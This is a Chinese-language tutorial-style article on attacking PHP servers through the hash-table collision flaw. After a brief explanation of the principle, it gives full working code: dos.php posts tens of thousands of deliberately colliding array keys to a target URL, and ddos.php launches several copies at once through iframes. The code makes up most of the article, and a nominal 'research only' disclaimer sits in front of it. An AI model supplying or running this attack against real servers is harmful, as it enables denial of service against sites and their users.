PHP利用hash沖突漏洞進(jìn)行DDoS攻擊的方法分析

字號(hào):


    這篇文章主要介紹了PHP利用hash沖突漏洞進(jìn)行DDoS攻擊的方法,實(shí)例分析了php利用hash進(jìn)行DDoS攻擊的原理與實(shí)現(xiàn)技巧,需要的朋友可以參考下
    本文實(shí)例分析了PHP利用hash沖突漏洞進(jìn)行DDoS攻擊的方法。分享給大家供大家參考。具體分析如下:
    首先聲明:本文內(nèi)容只用于研究學(xué)習(xí)使用,請(qǐng)勿用于非法行為!
    前面提到過最近爆出的hash表碰撞漏洞,包括java、python、php等在內(nèi)的很多常用語言均未幸免,今晚咱就來實(shí)際看看它的威力。
    攻擊原理:
    通過向目標(biāo)服務(wù)器post一組精心拼湊的數(shù)組參數(shù),到達(dá)服務(wù)端后語言底層處理接收到的數(shù)組參數(shù)時(shí),由于該漏洞的存在造成CPU的大量消耗,最終導(dǎo)致服務(wù)器資源耗盡。
    不用什么花哨的手法,就用PHP簡(jiǎn)單實(shí)現(xiàn)下看下效果,點(diǎn)到即止。
    文件:dos.php
    // 目標(biāo)地址
    // 只要目標(biāo)地址存在,不用管它是干嘛的
    $host = 'http://127.0.0.1/test.php';
    $data = '';
    $size = pow(2, 15);
    for ($key=0, $max=($size-1)*$size; $key<=$max; $key+=$size)
    {
    $data .= '&array[' . $key . ']=0';
    }
    $ret = curl($host, ltrim($data,'&'));
    var_dump($ret);
    function curl($url, $post, $timeout = 30){
    $ch = curl_init();
    curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
    curl_setopt($ch, CURLOPT_TIMEOUT, $timeout);
    curl_setopt($ch, CURLOPT_CONNECTTIMEOUT, $timeout - 5);
    curl_setopt($ch, CURLOPT_HTTPHEADER, array('Expect:'));
    curl_setopt($ch, CURLOPT_URL, $url);
    curl_setopt($ch, CURLOPT_POST, true);
    curl_setopt($ch, CURLOPT_POSTFIELDS, $post);
    $output = curl_exec($ch);
    if ($output === false) return false;
    $info = curl_getinfo($ch);
    $http_code = $info['http_code'];
    if ($http_code == 404) return false;
    curl_close($ch);
    return $output;
    }
    文件:ddos.php
    <!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "">
    <html xmlns="">
    <head>
    <meta http-equiv="Content-Type" content="text/html; charset=gb2312" />
    <title>DDOS</title>
    </head>
    <body>
    <?php
    for($i=0; $i<5; $i++){//并發(fā)數(shù)
    echo '<iframe src="dos.php?a='.$i.'" scrolling="false" frameborder="1" allowtransparency="true"></iframe>';
    }
    ?>
    </body>
    </html>
    希望本文所述對(duì)大家的php程序設(shè)計(jì)有所幫助。